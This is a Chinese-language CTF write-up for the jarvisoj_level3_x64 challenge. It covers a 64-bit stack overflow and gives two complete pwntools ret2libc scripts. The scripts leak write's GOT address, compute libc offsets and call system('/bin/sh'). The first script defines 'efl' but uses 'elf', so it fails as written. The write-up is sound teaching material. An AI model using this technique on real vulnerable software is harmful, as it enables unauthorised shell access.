题目来源
buuctf: https://buuoj.cn/challenges#jarvisoj_level3_x64
PS:这道题目我看教程(星盟培训)是给libc的,然后其实libc这个东西给不给都能做,具体就是通过libcsearch挨个试,后面的脚本会有俩版本,一个有libc的一个没有的。
分析
文件类型
(pwn) ┌──(kali㉿kali)-[~/pwn/level9]
└─$ file attachment
attachment: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped
动态链接库编译的ELF文件
软件防护
(pwn) ┌──(kali㉿kali)-[~/pwn/level9]
└─$ checksec attachment
[*] '/home/kali/pwn/level9/attachment'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
除了nx基本都关闭。
IDA分析
main函数内容如下
int __fastcall main(int argc, const char **argv, const char **envp)
{
vulnerable_function(argc, argv, envp);
return write(1, "Hello, World!\n", 0xEuLL);
}
主要看vulnerable_function
,vulnerable_function内容如下
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
write(1, "Input:\n", 7uLL);
return read(0, buf, 0x200uLL);
}
其他的基本没啥有用信息,主要有用信息就是一个栈溢出,buf只有128的位置,然后读入了一个0x200
的数据。
攻击
攻击思路
这题目除了栈溢出漏洞其他有用信息都没有,栈溢出可以控制程序执行流,这种情况应该只能通过got与libc算偏移,拿到system函数地址,通过libc中找sh
去设置system函数的参数。找偏移我们需要让他先把当got表的某个函数的地址泄露出来,拿到它运行的真实地址。在他的程序中可以通过write来回显消息,我们也可以通过它去泄露got地址,因为是64位的程序,前6个参数都得放到寄存器中,我们需要通过gadget去看是否可以通过弹栈的方式去设置参数,能用的gadget如下
(pwn) ┌──(kali㉿kali)-[~/pwn/level9]
└─$ ROPgadget --binary attachment --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret
Unique gadgets found: 11
去构造一个泄露got的write
指令,具体能用的gadget如下
# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1
write需要三个参数,第一个是写入位置,第二个是写入的内容,第三个是写入的数量,我们这里只能拿到前两个参数的gadget,遇到这种情况只能试试了,有些时候他这个寄存器中可能本身就存在值,我们不需要设置也可以用,在read函数中我们触发栈溢出的时候,应该是有值的
这里edx是200h,我估计会使用这个,因为栈溢出之后也没有清除他,好我们继续,第一个和第二个参数设置好之后我们需要直接运行write,直接使用got的地址即可,然后输出了之后我们还需要让他继续运行,具体方法就是直接让其运行main函数,让我们可以继续去栈溢出,第一个payload就构造好了具体如下
efl = ELF("./level3_x64")
# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1
# main
main_addr = 0x40061A
payload = flat(
[
b"a" * 136,
p64(pop_rdi_addr),
p64(1),
p64(pop_rsi_r15_addr),
p64(elf.got["write"]),
p64(0),
p64(elf.plt["write"]),
p64(pop_rbp_addr),
p64(0),
p64(elf.symbols["main"]),
]
)
溢出位数这里不多说,可以直接在ida或者动调去看。这个payload会让程序输出write函数在执行的实际地址,然后继续运行main
函数。我们通过下面函数去读取回显,程序会写入两次内容,我们一次性接收给他截断,并且补0(-6是因为第一次数据我们没有结束他会输出一个Input:\n
)
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
返回的write地址我们通过libcsearch去查询,具体代码如下
libc = LibcSearcher("write", addr)
offset = addr - libc.dump("write")
查询之后我们组装第二个payload,具体就是偏移也查出来了,直接去执行system即可,binsh可以直接从libc中寻找,代码如下
payload = flat(
[
b"a" * 136,
p64(pop_rdi_addr),
p64(libc.dump("str_bin_sh") + offset),
p64(libc.dump("system") + offset),
]
)
攻击脚本
完整的攻击脚本如下
from pwn import *
from LibcSearcher import LibcSearcher
io = process("./level3_x64")
efl = ELF("./level3_x64")
# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1
# main
main_addr = 0x40061A
payload = flat(
[
b"a" * 136,
p64(pop_rdi_addr),
p64(1),
p64(pop_rsi_r15_addr),
p64(elf.got["write"]),
p64(0),
p64(elf.plt["write"]),
p64(pop_rbp_addr),
p64(0),
p64(elf.symbols["main"]),
]
)
io.sendline(payload)
addr = u64(io.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc = LibcSearcher("write", addr)
offset = addr - libc.dump("write")
payload = flat(
[
b"a" * 136,
p64(pop_rdi_addr),
p64(libc.dump("str_bin_sh") + offset),
p64(libc.dump("system") + offset),
]
)
io.sendline(payload)
io.interactive()
然后再附上一个题目给libc的脚本
from pwn import *
# from LibcSearcher import LibcSearcher
io = process("./level3_x64")
elf = ELF("./level3_x64")
libc = ELF("./libc-2.23.so")
# 平衡
pop_rbp_addr = 0x400550
# 第一个参数
pop_rdi_addr = 0x4006B3
# 第二个参数
pop_rsi_r15_addr = 0x4006B1
payload = flat(
[
b"a" * 136,
p64(pop_rdi_addr),
p64(1),
p64(pop_rsi_r15_addr),
p64(elf.got["write"]),
p64(0),
p64(elf.plt["write"]),
p64(pop_rbp_addr),
p64(0),
p64(elf.symbols["main"]),
]
)
print(io.recvline())
io.sendline(payload)
addr = u64(io.recvline()[:8])
print("============")
print(addr)
print(libc.symbols["write"])
print("============")
offset = addr - libc.symbols["write"]
payload = flat(
[
b"a" * 136,
p64(pop_rdi_addr),
p64(next(libc.search(b"/bin/sh\x00")) + offset),
p64(libc.symbols["system"] + offset),
]
)
io.sendline(payload)
io.interactive()
具体区别就是我这里接收了输出,第二次我只需要截取前8位即可。然后就是偏移,libc直接计算即可。
1 条评论
PS:平衡的那个pop_ret不加也一样。。。也需要把0去除。。